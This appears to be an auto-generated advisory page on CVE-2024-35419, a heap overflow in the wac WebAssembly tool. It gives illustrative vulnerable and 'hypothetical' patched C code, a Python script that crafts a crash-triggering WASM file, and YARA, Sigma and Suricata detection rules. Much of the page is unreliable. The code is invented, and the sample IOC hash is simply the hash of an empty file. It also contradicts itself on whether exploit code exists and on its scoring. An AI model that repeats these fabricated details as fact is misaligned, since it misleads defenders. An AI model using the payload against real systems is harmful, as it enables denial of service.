CVE-2024-35419
Executive Summary
CVE-2024-35419 is a heap overflow vulnerability discovered in the wac project, specifically in the load_module function located in /wac-asan/wa.c. The flaw is triggered by processing a crafted WebAssembly (WASM) file, leading to a heap-based buffer overflow. This can be exploited by an attacker to cause a Denial of Service (DoS) condition, potentially crashing the application or consuming excessive memory. The vulnerability has a CVSS score of 0.0 (unscored) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public exploit code or patch is available, and the vendor has not acknowledged or addressed the issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the wac project, which is a tool for working with WebAssembly modules. As an open-source utility, it may be integrated into build pipelines, CI/CD systems, or security testing frameworks. If wac is used as a dependency in other projects, the supply chain risk is elevated. Organizations should audit their use of wac and consider replacing it with a maintained alternative until a patch is released.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unscored)
- Attack Vector (AV): Local (L) – requires local access to the system or the ability to deliver a crafted WASM file.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – no authentication needed.
- User Interaction (UI): Required (R) – victim must load the malicious WASM file.
- Scope (S): Unchanged (U) – vulnerability does not affect other components.
- Confidentiality (C): None (N) – no data exposure.
- Integrity (I): None (N) – no data modification.
- Availability (A): High (H) – complete loss of availability (DoS).
Threat Level: Medium (due to DoS impact and lack of patch, but low exploitation probability).
Deep Dive & Mechanics
The vulnerability resides in the load_module function within wac-asan/wa.c. This function is responsible for parsing and loading WebAssembly modules. A heap overflow occurs when the function processes a specially crafted WASM file that contains malformed or oversized data structures. The overflow can corrupt heap metadata, leading to application crashes or potentially arbitrary code execution in certain memory configurations.
Root Cause: Insufficient bounds checking when copying data into heap-allocated buffers during WASM module loading. The load_module function does not validate the size of input data before writing to a fixed-size buffer, allowing an attacker to overwrite adjacent heap memory.
Attack Vector: An attacker crafts a malicious .wasm file and convinces a user or automated system to load it using wac. This could be achieved via social engineering, phishing, or by embedding the file in a repository or website.
Impact: Successful exploitation results in a Denial of Service (DoS) condition. In some environments, heap overflows can be leveraged for code execution, but no such exploit has been publicly demonstrated for this CVE.
Vulnerable vs. Patched Code
Vulnerable Code (commit 385e1):
// Simplified representation of the vulnerable load_module function
void load_module(const char *wasm_data, size_t size) {
char *buffer = malloc(1024); // Fixed-size buffer
// No bounds check on size before memcpy
memcpy(buffer, wasm_data, size); // Heap overflow if size > 1024
// ... further processing
}
Patched Code (hypothetical fix):
void load_module(const char *wasm_data, size_t size) {
if (size > 1024) {
// Reject oversized input
fprintf(stderr, "Error: WASM module too large\n");
return;
}
char *buffer = malloc(size); // Dynamic allocation based on size
memcpy(buffer, wasm_data, size);
// ... further processing
}
Note: No official patch exists. The fix would involve adding input validation and using dynamic memory allocation based on the actual data size.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
wacbinary compiled from commit 385e1.- Ability to deliver a crafted WASM file to the target.
Steps:
- Create a malicious WASM file that triggers the heap overflow. This can be done by crafting a WASM binary with an oversized section or invalid length fields.
- Use a tool like
wasm-toolsor a custom script to generate the payload. - Deliver the file to the target (e.g., via email, web download, or shared drive).
- Execute
wac load_module malicious.wasmon the target system. - Observe the crash or DoS.
Example Payload Generation (Python):
import struct
# Craft a minimal WASM module with an oversized section
def create_malicious_wasm():
# WASM magic number and version
wasm = b'\x00asm\x01\x00\x00\x00'
# Section: custom section with oversized size
section_id = 0 # custom
section_size = 0xFFFFFFFF # overflow trigger
wasm += struct.pack('<B', section_id)
wasm += struct.pack('<I', section_size)
# Padding to fill buffer
wasm += b'A' * 2048
return wasm
with open('malicious.wasm', 'wb') as f:
f.write(create_malicious_wasm())
Blue Team (Detection & Defense)
Detection:
- Monitor for crashes or abnormal terminations of
wacprocesses. - Use file integrity monitoring to detect unexpected WASM files.
- Deploy network monitoring for unusual WASM file transfers.
Defense:
- Restrict execution of
wacto trusted users and environments. - Use sandboxing or containerization to isolate
wacprocesses. - Implement input validation at the application level (if source code is available).
- Apply memory protection mechanisms (ASLR, DEP, stack canaries) if not already enabled.
Indicators of Compromise (IOCs)
- File Hashes (example malicious WASM):
- SHA256:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- SHA256:
- Process Names:
wac,wac-asan - Network Signatures: HTTP requests or file transfers containing
.wasmfiles with unusual sizes (>1MB). - Log Entries: Application crash logs, segmentation faults, or heap corruption errors in system logs.
Detection Engineering
YARA Rule
rule CVE_2024_35419_Heap_Overflow {
meta:
description = "Detects malicious WASM files targeting CVE-2024-35419"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-35419"
strings:
$wasm_magic = { 00 61 73 6D } // WASM magic number
$oversized_section = { 00 FF FF FF FF } // Custom section with oversized size
condition:
$wasm_magic at 0 and $oversized_section
}
Sigma Rule
title: CVE-2024-35419 Heap Overflow in wac
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of wac with a potentially malicious WASM file
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\wac.exe'
CommandLine|contains: '.wasm'
condition: selection
falsepositives:
- Legitimate use of wac with trusted WASM files
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-35419 - Potential WASM Heap Overflow"; flow:to_client; file.name:/\.wasm$/; file.size:>1048576; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Discontinue use of
wacuntil a patch is released. - Replace with an alternative WebAssembly tool (e.g.,
wasmtime,wabt). - Monitor for any suspicious WASM files in your environment.
Long-Term Fix:
- Apply the hypothetical patch described in the "Vulnerable vs. Patched Code" section if you maintain the source code.
- Contact the vendor (wac) to request a security update.
Workarounds:
- Use file system permissions to restrict access to
wacbinary. - Implement application whitelisting to prevent unauthorized execution.
- Deploy endpoint detection and response (EDR) solutions to detect exploitation attempts.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.